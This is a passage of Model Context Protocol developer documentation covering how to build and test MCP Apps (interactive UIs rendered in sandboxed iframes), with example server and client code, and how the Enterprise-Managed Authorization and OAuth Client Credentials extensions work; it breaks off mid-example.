generate your project. + + + + If you are using Claude Code, you can install the skill directly with: + + ``` + /plugin marketplace add modelcontextprotocol/ext-apps + /plugin install mcp-apps@modelcontextprotocol-ext-apps + ``` + + You can also use the [Vercel Skills CLI](https://skills.sh/) to install skills across different AI coding agents: + + ```bash theme={null} + npx skills add modelcontextprotocol/ext-apps + ``` + + Alternatively, you can install the skill manually by cloning the ext-apps repository: + + ```bash theme={null} + git clone https://github.com/modelcontextprotocol/ext-apps.git + ``` + + And then copying the skill to the appropriate location for your agent: + + | Agent | Skills directory (macOS/Linux) | Skills directory (Windows) | + | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------ | ------------------------------------- | + | [Claude Code](https://docs.anthropic.com/en/docs/claude-code/skills) | `~/.claude/skills/` | `%USERPROFILE%\.claude\skills\` | + | [VS Code](https://code.visualstudio.com/docs/copilot/customization/agent-skills) and [GitHub Copilot](https://docs.github.com/en/copilot/concepts/agents/about-agent-skills) | `~/.copilot/skills/` | `%USERPROFILE%\.copilot\skills\` | + | [Gemini CLI](https://geminicli.com/docs/cli/skills/) | `~/.gemini/skills/` | `%USERPROFILE%\.gemini\skills\` | + | [Cline](https://cline.bot/blog/cline-3-48-0-skills-and-websearch-make-cline-smarter) | `~/.cline/skills/` | `%USERPROFILE%\.cline\skills\` | + | [Goose](https://block.github.io/goose/docs/guides/context-engineering/using-skills/) | `~/.config/goose/skills/` | `%USERPROFILE%\.config\goose\skills\` | + | [Codex](https://developers.openai.com/codex/skills/) | `~/.codex/skills/` | `%USERPROFILE%\.codex\skills\` | + | [Cursor](https://cursor.com/docs/context/skills) | `~/.cursor/skills/` | `%USERPROFILE%\.cursor\skills\` | + + + This list is not comprehensive. Other agents may support skills in different locations; check your agent's documentation. + + + For example, with Claude Code you can install the skill globally (available in all projects): + + + ```bash macOS/Linux theme={null} + cp -r ext-apps/plugins/mcp-apps/skills/create-mcp-app ~/.claude/skills/create-mcp-app + ``` + + ```powershell Windows theme={null} + Copy-Item -Recurse ext-apps\plugins\mcp-apps\skills\create-mcp-app $env:USERPROFILE\.claude\skills\create-mcp-app + ``` + + + Or install it for a single project only by copying to `.claude/skills/` in your project directory: + + + ```bash macOS/Linux theme={null} + mkdir -p .claude/skills && cp -r ext-apps/plugins/mcp-apps/skills/create-mcp-app .claude/skills/create-mcp-app + ``` + + ```powershell Windows theme={null} + New-Item -ItemType Directory -Force -Path .claude\skills | Out-Null; Copy-Item -Recurse ext-apps\plugins\mcp-apps\skills\create-mcp-app .claude\skills\create-mcp-app + ``` + + + To verify the skill is installed, ask your agent "What skills do you have access to?" — you should see `create-mcp-app` as one of the available skills. + + + + Ask your AI coding agent to build it: + + ``` + Create an MCP App that displays a color picker + ``` + + The agent will recognize the `create-mcp-app` skill is relevant, load its instructions, then scaffold a complete project with server, UI, and configuration files. + + + Creating a new MCP App with Claude Code + + + + + + ```bash macOS/Linux theme={null} + npm install && npm run build && npm run serve + ``` + + ```powershell Windows theme={null} + npm install; npm run build; npm run serve + ``` + + + + You might need to make sure that you are first in the **app folder** before running the commands above. + + + + + Follow the instructions in [Testing your app](#testing-your-app) below. For the color picker example, start a new chat and ask Claude to provide you a color picker. + + + Testing the color picker in Claude + + + + +### Manual setup + +If you're not using an AI coding agent, or prefer to understand the setup +process, follow these steps. + + + + A typical MCP App project separates the server code from the UI code: + + + + + + + + + + + + + + + + + + + + The server registers the tool and serves the UI resource. The UI resource will eventually be rendered in a secure iframe with deny-by-default CSP configuration. If your app has CSS and JS assets, you will need to [configure CSP](https://apps.extensions.modelcontextprotocol.io/api/documents/Patterns.html#configuring-csp-and-cors), or you can bundle your assets into the HTML with a tool like `vite-plugin-singlefile`, which is what we will do in this tutorial. + + + + ```bash theme={null} + npm install @modelcontextprotocol/ext-apps @modelcontextprotocol/sdk + npm install -D typescript vite vite-plugin-singlefile express cors @types/express @types/cors tsx + ``` + + The `ext-apps` package provides helpers for both the server side (registering tools and resources) and the client side (the `App` class for UI-to-host communication). Vite with the `vite-plugin-singlefile` plugin is used here to bundle your UI and assets into a single HTML file for convenience, but this is optional — you can use any bundler or serve unbundled files if you [configure CSP](https://apps.extensions.modelcontextprotocol.io/api/documents/Patterns.html#configuring-csp-and-cors). + + + + + + The `"type": "module"` setting enables ES module syntax. The `build` script uses the `INPUT` environment variable to tell Vite which HTML file to bundle. The `serve` script runs your server using `tsx` for TypeScript execution. + + ```json theme={null} + { + "type": "module", + "scripts": { + "build": "INPUT=mcp-app.html vite build", + "serve": "npx tsx server.ts" + } + } + ``` + + + + The TypeScript configuration targets modern JavaScript (`ES2022`) and uses ESNext modules with bundler resolution, which works well with Vite. The `include` array covers both the server code in the root and UI code in `src/`. + + ```json theme={null} + { + "compilerOptions": { + "target": "ES2022", + "module": "ESNext", + "moduleResolution": "bundler", + "strict": true, + "esModuleInterop": true, + "skipLibCheck": true, + "outDir": "dist" + }, + "include": ["*.ts", "src/**/*.ts"] + } + ``` + + + + ```typescript theme={null} + import { defineConfig } from "vite"; + import { viteSingleFile } from "vite-plugin-singlefile"; + + export default defineConfig({ + plugins: [viteSingleFile()], + build: { + outDir: "dist", + rollupOptions: { + input: process.env.INPUT, + }, + }, + }); + ``` + + + + + + With the project structure and configuration in place, continue to [Building an MCP App](#building-an-mcp-app) below to implement the server and UI. + + + +## Building an MCP App + +Let's build a simple app that displays the current server time. This example +demonstrates the full pattern: registering a tool with UI metadata, serving the +bundled HTML as a resource, and building a UI that communicates with the server. + +### Server implementation + +The server needs to do two things: register a tool that includes the +`_meta.ui.resourceUri` field, and register a resource handler that serves the +bundled HTML. Here's the complete server file: + +```typescript theme={null} +// server.ts +console.log("Starting MCP App server..."); + +import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; +import { StreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/streamableHttp.js"; +import { + registerAppTool, + registerAppResource, + RESOURCE_MIME_TYPE, +} from "@modelcontextprotocol/ext-apps/server"; +import cors from "cors"; +import express from "express"; +import fs from "node:fs/promises"; +import path from "node:path"; + +const server = new McpServer({ + name: "My MCP App Server", + version: "1.0.0", +}); + +// The ui:// scheme tells hosts this is an MCP App resource. +// The path structure is arbitrary; organize it however makes sense for your app. +const resourceUri = "ui://get-time/mcp-app.html"; + +// Register the tool that returns the current time +registerAppTool( + server, + "get-time", + { + title: "Get Time", + description: "Returns the current server time.", + inputSchema: {}, + _meta: { ui: { resourceUri } }, + }, + async () => { + const time = new Date().toISOString(); + return { + content: [{ type: "text", text: time }], + }; + }, +); + +// Register the resource that serves the bundled HTML +registerAppResource( + server, + resourceUri, + resourceUri, + { mimeType: RESOURCE_MIME_TYPE }, + async () => { + const html = await fs.readFile( + path.join(import.meta.dirname, "dist", "mcp-app.html"), + "utf-8", + ); + return { + contents: [ + { uri: resourceUri, mimeType: RESOURCE_MIME_TYPE, text: html }, + ], + }; + }, +); + +// Expose the MCP server over HTTP +const expressApp = express(); +expressApp.use(cors()); +expressApp.use(express.json()); + +expressApp.post("/mcp", async (req, res) => { + const transport = new StreamableHTTPServerTransport({ + sessionIdGenerator: undefined, + enableJsonResponse: true, + }); + res.on("close", () => transport.close()); + await server.connect(transport); + await transport.handleRequest(req, res, req.body); +}); + +expressApp.listen(3001, (err) => { + if (err) { + console.error("Error starting server:", err); + process.exit(1); + } + console.log("Server listening on http://localhost:3001/mcp"); +}); +``` + +Let's break down the key parts: + +* **`resourceUri`**: The `ui://` scheme tells hosts this is an MCP App resource. + The path structure is arbitrary. +* **`registerAppTool`**: Registers a tool with the `_meta.ui.resourceUri` field. + When the host calls this tool, the UI is fetched and rendered, and the tool result is passed to it upon arrival. +* **`registerAppResource`**: Serves the bundled HTML when the host requests the UI resource. +* **Express server**: Exposes the MCP server over HTTP on port 3001. + +### UI implementation + +The UI consists of an HTML page and a TypeScript module that uses the `App` +class to communicate with the host. Here's the HTML: + +```html theme={null} + + + + + + Get Time App + + +

+ Server Time: + Loading... +

+ + + + +``` + +And the TypeScript module: + +```typescript theme={null} +// src/mcp-app.ts +import { App } from "@modelcontextprotocol/ext-apps"; + +const serverTimeEl = document.getElementById("server-time")!; +const getTimeBtn = document.getElementById("get-time-btn")!; + +const app = new App({ name: "Get Time App", version: "1.0.0" }); + +// Establish communication with the host +app.connect(); + +// Handle the initial tool result pushed by the host +app.ontoolresult = (result) => { + const time = result.content?.find((c) => c.type === "text")?.text; + serverTimeEl.textContent = time ?? "[ERROR]"; +}; + +// Proactively call tools when users interact with the UI +getTimeBtn.addEventListener("click", async () => { + const result = await app.callServerTool({ + name: "get-time", + arguments: {}, + }); + const time = result.content?.find((c) => c.type === "text")?.text; + serverTimeEl.textContent = time ?? "[ERROR]"; +}); +``` + +The key parts: + +* **`app.connect()`**: Establishes communication with the host. Call this once + when your app initializes. +* **`app.ontoolresult`**: A callback that fires when the host pushes a tool + result to your app (e.g., when the tool is first called and the UI renders). +* **`app.callServerTool()`**: Lets your app proactively call tools on the server. + Keep in mind that each call involves a round-trip to the server, so design your + UI to handle latency gracefully. + +The `App` class provides additional methods for logging, opening URLs, and +updating the model's context with structured data from your app. See the full +[API documentation](https://apps.extensions.modelcontextprotocol.io/api/). + +## Testing your app + +To test your MCP App, build the UI and start your local server: + + + ```bash macOS/Linux theme={null} + npm run build && npm run serve + ``` + + ```powershell Windows theme={null} + npm run build; npm run serve + ``` + + +In the default configuration, your server will be available at +`http://localhost:3001/mcp`. However, to see your app render, you need an MCP +host that supports MCP Apps. You have several options. + +### Testing with Claude + +[Claude](https://claude.ai) (web) and [Claude Desktop](https://claude.ai/download) +support MCP Apps. For local development, you'll need to expose your server to +the internet. You can run an MCP server locally and use tools like `cloudflared` +to tunnel traffic through. + +In a separate terminal, run: + +```bash theme={null} +npx cloudflared tunnel --url http://localhost:3001 +``` + +Copy the generated URL (e.g., `https://random-name.trycloudflare.com`) and add it +as a [custom connector](https://support.anthropic.com/en/articles/11175166-getting-started-with-custom-connectors-using-remote-mcp) +in Claude - click on your profile, go to **Settings**, **Connectors**, and +finally **Add custom connector**. + + + Custom connectors are available on paid Claude plans (Pro, Max, or Team). + + + + Adding a custom connector in Claude + + +### Testing with the basic-host + +The `ext-apps` repository includes a test host for development. Clone the repo and +install dependencies: + + + ```bash macOS/Linux theme={null} + git clone https://github.com/modelcontextprotocol/ext-apps.git + cd ext-apps/examples/basic-host + npm install + ``` + + ```powershell Windows theme={null} + git clone https://github.com/modelcontextprotocol/ext-apps.git + cd ext-apps\examples\basic-host + npm install + ``` + + +Running `npm start` from `ext-apps/examples/basic-host/` will start the basic-host +test interface. To connect it to a specific server (e.g., one you're developing), +pass the `SERVERS` environment variable inline: + + + ```bash macOS/Linux theme={null} + SERVERS='["http://localhost:3001/mcp"]' npm start + ``` + + ```powershell Windows theme={null} + $env:SERVERS='["http://localhost:3001/mcp"]'; npm start + ``` + + +Navigate to `http://localhost:8080`. You'll see a simple interface where you can +select a tool and call it. When you call your tool, the host fetches the UI +resource and renders it in a sandboxed iframe. You can then interact with your +app and verify that tool calls work correctly. + + + Example of the QR code MCP App running with the basic host + + +## Learn more + + + + Full SDK reference and API details + + + + Source code, examples, and issue tracker + + + + Technical specification for implementers + + + +## Feedback + +MCP Apps is under active development. If you encounter issues or have ideas for +improvements, open an issue on the +[GitHub repository](https://github.com/modelcontextprotocol/ext-apps/issues). +For broader discussions about the extension's direction, join the conversation +in [GitHub Discussions](https://github.com/modelcontextprotocol/ext-apps/discussions). + + +# MCP Apps +Source: https://modelcontextprotocol.io/extensions/apps/overview + +Interactive UI applications that render inside MCP hosts like Claude Desktop + + + For comprehensive API documentation, advanced patterns, and the full specification, visit the [official MCP Apps documentation](https://apps.extensions.modelcontextprotocol.io). + + +Text responses can only go so far. Sometimes users need to interact with data, not +just read about it. MCP Apps let servers return interactive HTML interfaces (data +visualizations, forms, dashboards) that render directly in the chat. + +## Why not just build a web app? + +You could build a standalone web app and send users a link. However, MCP Apps +offer these key advantages that a separate page can't match: + +* **Context preservation.** The app lives inside the conversation. Users don't + switch tabs, lose their place, or wonder which chat thread had that dashboard. + The UI is right there, alongside the discussion that led to it. +* **Bidirectional data flow.** Your app can call any tool on the MCP server, and + the host can push fresh results to your app. A standalone web app would need its + own API, authentication, and state management. MCP Apps get this via existing + MCP patterns. +* **Integration with the host's capabilities**. The app can delegate actions to the host, which can then invoke the capabilities and tools the user has already connected (subject to user consent). Instead of every app implementing and maintaining direct integrations (e.g., email providers), the app can request an outcome (like "schedule this meeting"), and the host routes it through the user's existing connected capabilities. +* **Security guarantees.** MCP Apps run in a sandboxed iframe controlled by the + host. They can't access the parent page, steal cookies, or escape their + container. This means hosts can safely render third-party apps without trusting + the server author completely. + +If your use case doesn't benefit from these properties, a regular web app might +be simpler. But if you want tight integration with the LLM-based conversation, +MCP Apps are a much better tool. + +## How MCP Apps work + +Traditional MCP tools return text, images, resources or structured data that the host displays as +part of the conversation. MCP Apps extend this pattern by allowing tools to +declare a reference to an interactive UI in their tool description that the host +renders in place. + +The core pattern combines two MCP primitives: a tool that declares a UI resource +in its description, plus a UI resource that renders data as an interactive HTML +interface. + +When a large language model (LLM) decides to call a tool that supports MCP Apps, +here's what happens: + +1. **UI preloading**: The tool description includes a `_meta.ui.resourceUri` + field pointing to a `ui://` resource. The host can preload this resource before + the tool is even called, enabling features like streaming tool inputs to the + app. + +2. **Resource fetch**: The host fetches the UI resource from the server. This + resource contains an HTML page, often bundled with its JavaScript and CSS for + simplicity. Apps can also load external scripts and resources from origins + specified in `_meta.ui.csp`. + +3. **Sandboxed rendering**: Web hosts typically render the HTML inside a + sandboxed [iframe](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) + within the conversation. The sandbox restricts the app's access to the parent + page, ensuring security. The resource's `_meta.ui` object can include + `permissions` to request additional capabilities (e.g., microphone, camera) + and `csp` to control what external origins the app can load resources from. + +4. **Bidirectional communication**: The app and host communicate through a + JSON-RPC protocol that forms its own dialect of MCP. Some requests and + notifications are shared with the core MCP protocol (e.g., `tools/call`), some + are similar (e.g., `ui/initialize`), and most are new with a `ui/` method name + prefix. The app can request tool calls, send messages, update the model's + context, and receive data from the host. + +```mermaid theme={null} +sequenceDiagram + participant User + participant Agent + participant App as MCP App iframe + participant Server as MCP Server + + User->>Agent: "show me analytics" + Note over User,App: Interactive app rendered in chat + Agent->>Server: tools/call + Server-->>Agent: tool input/result + Agent-->>App: tool result pushed to app + User->>App: user interacts + App->>Agent: tools/call request + Agent->>Server: tools/call (forwarded) + Server-->>Agent: fresh data + Agent-->>App: fresh data + Note over User,App: App updates with new data + App-->>Agent: context update +``` + +The app stays isolated from the host but can still call MCP tools through the +secure postMessage channel. + +## When to use MCP Apps + +MCP Apps are a good fit when your use case involves: + +**Exploring complex data.** A user asks "show me sales by region." A text +response might list numbers, but an MCP App can render an interactive map where +users click regions to drill down, hover for details, and toggle between +metrics, all without additional prompts. + +**Configuring with many options.** Setting up a deployment involves dozens of +interdependent choices. Rather than a back-and-forth conversation ("Which +region?" "What instance size?" "Enable autoscaling?"), an MCP App presents a +form where users see all options at once, with validation and defaults. + +**Viewing rich media.** When a user asks to review a PDF, see a 3D model, or +preview generated images, text descriptions fall short. An MCP App embeds the +actual viewer (pan, zoom, rotate) directly in the conversation. + +**Real-time monitoring.** A dashboard showing live metrics, logs, or system +status needs continuous updates. An MCP App maintains a persistent connection, +updating the display as data changes without requiring the user to ask "what's +the status now?" + +**Multi-step workflows.** Approving expense reports, reviewing code changes, or +triaging issues involves examining items one by one. An MCP App provides +navigation controls, action buttons, and state that persists across +interactions. + +## Security model + +MCP Apps run in a sandboxed +[iframe](https://developer.mozilla.org/docs/Web/HTML/Element/iframe), which +provides strong isolation from the host application. The sandbox prevents your +app from accessing the parent window's +[DOM](https://developer.mozilla.org/docs/Web/API/Document_Object_Model), reading +the host's cookies or local storage, navigating the parent page, or executing +scripts in the parent context. + +All communication between your app and the host goes through the +[postMessage API](https://developer.mozilla.org/docs/Web/API/Window/postMessage). +The host controls which capabilities your app can access. For example, a host +might restrict which tools an app can call or disable the `sendOpenLink` capability. + +The sandbox is designed to prevent apps from escaping to access the host or user data. + +## Framework support + +MCP Apps use their own dialect of MCP, built on JSON-RPC like the core protocol. +Some messages are shared with regular MCP (e.g., `tools/call`), while others are +specific to apps (e.g., `ui/initialize`). The transport is +[postMessage](https://developer.mozilla.org/docs/Web/API/Window/postMessage) +instead of stdio or HTTP. Since it's all standard web primitives, you can use any +framework or none at all. + +The `App` class from `@modelcontextprotocol/ext-apps` is a convenience wrapper, +not a requirement. You can implement the +[postMessage protocol](https://github.com/modelcontextprotocol/ext-apps/blob/main/specification/2026-01-26/apps.mdx) +directly if you prefer to avoid dependencies or need tighter control. + +The [examples directory](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples) +includes starter templates for React, Vue, Svelte, Preact, Solid, and vanilla +JavaScript. These demonstrate recommended patterns for each framework's system, +but they're examples rather than requirements. You can choose whatever works +best for your use case. + +## Client support + + + MCP Apps is an extension to the [core MCP specification](/specification). Host support varies by client. + + +MCP Apps are currently supported by [Claude](https://claude.ai), +[Claude Desktop](https://claude.ai/download), +[VS Code GitHub Copilot](https://code.visualstudio.com/), [Goose](https://block.github.io/goose/), [Postman](https://postman.com), and [MCPJam](https://www.mcpjam.com/). See the +[client matrix](/extensions/client-matrix) for the full list of extension support across clients. + +If you're building an MCP client and want to support MCP Apps, you have two options: + +1. **Use a framework**: The [`@mcp-ui/client`](https://github.com/MCP-UI-Org/mcp-ui) + package provides React components for rendering and interacting with MCP Apps + views in your host application. See the + [MCP-UI documentation](https://mcpui.dev/) for usage details. + +2. **Build on AppBridge**: The SDK includes an + [**App Bridge**](https://apps.extensions.modelcontextprotocol.io/api/modules/app-bridge.html) + module that handles rendering apps in sandboxed iframes, message passing, tool + call proxying, and security policy enforcement. The + [basic-host example](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/basic-host) + shows how to integrate it. + +See the [API documentation](https://apps.extensions.modelcontextprotocol.io/api/) +for implementation details. + +## Examples + +The [ext-apps repository](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples) +includes ready-to-run examples demonstrating different use cases: + +* **3D and visualization**: + [map-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/map-server) + (CesiumJS globe), + [threejs-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/threejs-server) + (Three.js scenes), + [shadertoy-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/shadertoy-server) + (shader effects) +* **Data exploration**: + [cohort-heatmap-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/cohort-heatmap-server), + [customer-segmentation-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/customer-segmentation-server), + [wiki-explorer-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/wiki-explorer-server) +* **Business applications**: + [scenario-modeler-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/scenario-modeler-server), + [budget-allocator-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/budget-allocator-server) +* **Media**: + [pdf-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/pdf-server), + [video-resource-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/video-resource-server), + [sheet-music-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/sheet-music-server), + [say-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/say-server) + (text-to-speech) +* **Utilities**: + [qr-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/qr-server), + [system-monitor-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/system-monitor-server), + [transcript-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/transcript-server) + (speech-to-text) +* **Starter templates**: + [React](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/basic-server-react), + [Vue](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/basic-server-vue), + [Svelte](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/basic-server-svelte), + [Preact](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/basic-server-preact), + [Solid](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/basic-server-solid), + [vanilla JavaScript](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/basic-server-vanillajs) + +To start building your own MCP App, see the [build guide](/extensions/apps/build). + + +# Enterprise-Managed Authorization +Source: https://modelcontextprotocol.io/extensions/auth/enterprise-managed-authorization + +Centralized access control for MCP in enterprise environments via identity providers + +The Enterprise-Managed Authorization extension (`io.modelcontextprotocol/enterprise-managed-authorization`) enables organizations to control MCP server access centrally through their existing identity provider (IdP). Instead of each employee authorizing each MCP server individually, the organization's IT or security team manages access policies in one place. + + + Full technical specification for the Enterprise-Managed Authorization + extension. + + +## What it is + +In a standard MCP deployment, each user independently authorizes an MCP client to access each MCP server. For consumer applications, this user-driven model is ideal — it gives individuals control over what accesses their data. + +In enterprise environments, this model creates friction and security gaps: + +* Employees shouldn't need to understand the authorization details of every MCP server their organization uses +* Security teams can't enforce consistent access policies if each user authorizes independently +* Onboarding new employees requires them to manually authorize dozens of services +* Offboarding requires revoking access across every service individually + +Enterprise-Managed Authorization solves this by introducing the organization's IdP as the authoritative decision-maker. The IdP (such as Okta, Azure AD, or a corporate SSO system) controls which MCP servers employees can access, and under what conditions. Employees authenticate with their corporate identity — the same credentials they use for email, Slack, and other work tools — and the IdP grants or denies MCP server access based on organizational policy. + +## When to use it + +Use Enterprise-Managed Authorization when: + +* **Deploying MCP in a corporate environment** where IT manages access to all business applications +* **Enforcing organizational access policies** — you need to ensure only authorized employees access specific MCP servers +* **Centralizing access control** — you want to add or revoke access to MCP servers from a single admin console +* **Meeting compliance requirements** — your organization needs an auditable authorization trail for all MCP server access +* **Simplifying employee experience** — employees should access MCP tools with their existing corporate SSO credentials, without per-service authorization flows + +## How it works + +The extension establishes a delegated authorization flow where the enterprise IdP acts as an intermediary between the MCP client and the MCP server. The MCP Client requests a special type of token from the enterprise IdP called an Identity Assertion JWT Authorization Grant, or ID-JAG. The MCP Client then exchanges the ID-JAG for an access token from the MCP server's Authorization Server: + +```mermaid theme={null} +sequenceDiagram + participant UA as Browser + participant C as MCP Client + participant IdP as Enterprise IdP + participant MAS as MCP Authorization Server + participant MRS as MCP Resource Server + + C-->>UA: Redirect to IdP + UA->>IdP: Redirect to IdP + Note over IdP: User Logs In + IdP-->>UA: IdP Authorization Code + UA->>C: IdP Authorization Code + C->>IdP: Token Request with IdP Authorization Code + IdP-->>C: ID Token + + note over C: User is logged
in to MCP Client.
Client stores ID Token. + + C->>IdP: Exchange ID Token for ID-JAG + note over IdP: Evaluate Policy + IdP-->>C: Responds with ID-JAG + C->>MAS: Token Request with ID-JAG + note over MAS: Validate ID-JAG + MAS-->>C: MCP Access Token + + loop + C->>MRS: Call MCP API with Access Token + MRS-->>C: MCP Response with Data + end + +``` + +Key aspects of the flow: + +1. **Centralized policy**: The enterprise IdP maintains a registry of approved MCP servers and the access policies for each. Administrators configure these in their existing identity management tools. + +2. **Single sign-on**: Employees authenticate with their corporate credentials once. The IdP issues tokens that grant access to approved MCP servers without additional per-server authorization prompts. + +3. **Policy enforcement**: The IdP evaluates access policies (group membership, role assignments, conditional access rules) before issuing tokens. Employees who lack authorization receive an appropriate error — the MCP client never receives a token for unauthorized servers. + +4. **Centralized revocation**: Revoking an employee's access to MCP servers happens at the IdP level, taking effect immediately across all MCP clients. No per-client, per-server revocation needed. + +## Implementation guide + +### For MCP clients + +To support Enterprise-Managed Authorization, your client must: + +1. **Declare support** in the `initialize` request: + +```json theme={null} +{ + "capabilities": { + "extensions": { + "io.modelcontextprotocol/enterprise-managed-authorization": {} + } + } +} +``` + +2. **Support SSO** — users should authenticate to the MCP Client using the enterprise IdP. Save the Identity Assertion (either an OpenID ID Token or SAML assertion) issued during login for later use. + +3. **Handle ID-JAGs** — when the server indicates that enterprise-managed auth is required, request an ID-JAG token from the enterprise IdP's authorization endpoint using the previously obtained Identity Assertion. Exchange this ID-JAG for an access token from the MCP Authorization Server. Do not redirect the user to the MCP Authorization Server's authorization endpoint. + +4. **Support organization configuration** — allow administrators to configure the enterprise IdP's endpoints, typically via organization-level settings rather than per-user settings. + +5. **Respect token scopes** — tokens issued by enterprise IdPs may have scope restrictions that differ from standard MCP authorization. Handle scope errors gracefully. + +### For MCP servers + +To require enterprise-managed authorization: + +1. **Declare the extension** in your server's authorization metadata, indicating that clients must use the enterprise-managed flow. + +2. **Integrate with IdP admin APIs** (optional) — publish your server's resource descriptor so enterprise administrators can configure access policies in their IdP admin console. + +### For MCP Authorization Servers + +1. **Validate ID-JAGs** issued by the enterprise IdP. This typically means validating JWT signatures against the IdP's JWKS endpoint and checking the token's audience, issuer, and expiration. + +2. **Map IdP claims to permissions** — ID-JAG tokens carry claims (scope and resource information) that your server uses to determine who the employee is and what the employee can access. Define your authorization logic based on these claims. + +3. **Handle Account Linking** - ID-JAG tokens will always contain a subject claim and may additionally contain an email claim that can be used to + +## Client support + + + Support for this extension varies by client. Extensions are opt-in and never active by default. + + +Check the [client matrix](/extensions/client-matrix) for current implementation status across MCP clients. Enterprise-Managed Authorization typically requires client-level support from the organization's IT team in addition to the MCP client application. + +## Related resources + + + + Source code and reference implementations + + + + Technical specification with normative requirements + + + + Original proposal: Enable Enterprise IdP Policy Controls + + + + Core MCP authorization specification + + + + +# OAuth Client Credentials +Source: https://modelcontextprotocol.io/extensions/auth/oauth-client-credentials + +Machine-to-machine authentication for MCP using the OAuth 2.0 client credentials flow + +The OAuth Client Credentials extension (`io.modelcontextprotocol/oauth-client-credentials`) adds support for the [OAuth 2.0 client credentials flow](https://datatracker.ietf.org/doc/html/rfc6749#section-4.4) to MCP. This enables automated systems to connect to MCP servers without interactive user authorization. + + + Full technical specification for the OAuth Client Credentials extension. + + +## What it is + +The standard MCP authorization flow requires a user to interactively approve access — a browser opens, the user logs in, and grants permission. That works well for humans, but breaks down when there's no user present. + +The OAuth Client Credentials extension solves this by letting a client authenticate using application-level credentials (a client ID and secret, or a signed JWT assertion) rather than delegated user credentials. The client proves its identity directly to the authorization server, which issues an access token without requiring a browser redirect or user interaction. + +## When to use it + +Use OAuth Client Credentials when: + +* **Background services** need to call MCP tools on a schedule or in response to events, without a user present +* **CI/CD pipelines** invoke MCP servers as part of automated build, test, or deployment workflows +* **Server-to-server integrations** connect two backend systems where there's no end user involved +* **Daemon processes** or long-running workers need persistent access to MCP resources + +If your integration has a human user who should explicitly authorize access, use the standard MCP authorization flow instead. + +## How it works + +The extension supports two credential formats: + +### JWT Bearer Assertions (recommended) + +Defined in [RFC 7523](https://datatracker.ietf.org/doc/html/rfc7523), JWT Bearer Assertions let the client sign a token with its private key and present it as proof of identity. The authorization server validates the signature using the client's registered public key. + +```mermaid theme={null} +sequenceDiagram + participant Client + participant AS as Authorization Server + participant MCP as MCP Server + + Client->>AS: POST /token
grant_type=urn:ietf:params:
oauth:grant-type:jwt-bearer
assertion= + AS-->>Client: access_token + Client->>MCP: MCP request (Bearer token) +``` + +The JWT assertion typically includes: + +* `iss`: Client ID (the issuer) +* `sub`: Client ID (subject being authenticated) +* `aud`: Authorization server token endpoint URL +* `exp`: Expiration time +* `iat`: Issued-at time + +### Client Secrets + +For simpler deployments, the extension also supports the standard client credentials flow using a `client_id` and `client_secret`. The client sends its credentials directly to the authorization server's token endpoint and receives an access token in return. + +```mermaid theme={null} +sequenceDiagram + participant Client + participant AS as Authorization Server + participant MCP as MCP Server + + Client->>AS: POST /token
grant_type=client_credentials
client_id + client_secret + AS-->>Client: access_token + Client->>MCP: MCP request (Bearer token) +``` + + + Client secrets are **long-lived credentials** that grant access without user interaction. If a secret is leaked, an attacker can silently authenticate as your application until the secret is rotated. To reduce risk: + + * Store secrets in a secrets manager, never in source code or environment files checked into version control. + * Rotate secrets on a regular schedule and immediately after any suspected compromise. + * Scope credentials to the minimum permissions required. + * Prefer JWT assertions when possible — they are short-lived and do not require transmitting the signing key. + + +## Implementation guide + +### For MCP clients + +To use the OAuth Client Credentials extension, your client must: + + + + Include the extension in the `initialize` request capabilities: + + ```json theme={null} + { + "capabilities": { + "extensions": { + "io.modelcontextprotocol/oauth-client-credentials": {} + } + } + } + ``` + + + + Request a token from the authorization server using the client credentials grant before connecting to the MCP server. + + + + Pass the token in the `Authorization` header of HTTP requests to the MCP server: + + ``` + Authorization: Bearer + ``` + + + + Client credentials tokens typically have shorter lifetimes than user-delegated tokens. Implement token refresh logic to obtain a new token before expiry. + + + +### For MCP servers + +To accept client credentials tokens, your server must: + + + + On each request, verify the JWT signature and claims against your authorization server's public keys (usually via a JWKS endpoint). + + + + Ensure the token includes the required scopes for the requested operation. + + + + Optionally (but recommended for discoverability), include the extension in the `initialize` response: + + ```json theme={null} + { + "capabilities": { + "extensions": { + "io.modelcontextprotocol/oauth-client-credentials": {} + } + } + } + ``` + + + +## SDK examples + +The official MCP SDKs provide built-in support for client credentials authentication. Both handle token acquisition and refresh automatically. + + + + + + ```bash theme={null} + npm install @modelcontextprotocol/client + ``` + + + + ```bash theme={null} + pip install mcp + ``` + + + + + + Choose the credential format that matches your setup: + + #### Using a client secret + + + + ```typescript theme={null} + import { + Client, + ClientCredentialsProvider, + StreamableHTTPClientTransport, + } from "@modelcontextprotocol/client"; + + const provider = new ClientCredentialsProvider({ + clientId: "my-service", + clientSecret: "s3cr3t", + }); + + const client = new Client( + { name: "my-service", version: "1.0.0" }, + { capabilities: {} }, + ); + + const transport = new StreamableHTTPClientTransport( + new URL("https://mcp.example.com/mcp"), + { authProvider: provider }, + ); + + await client.connect(transport); + + // Use the client + const tools = await client.listTools(); + console.log( + "Available tools:", + 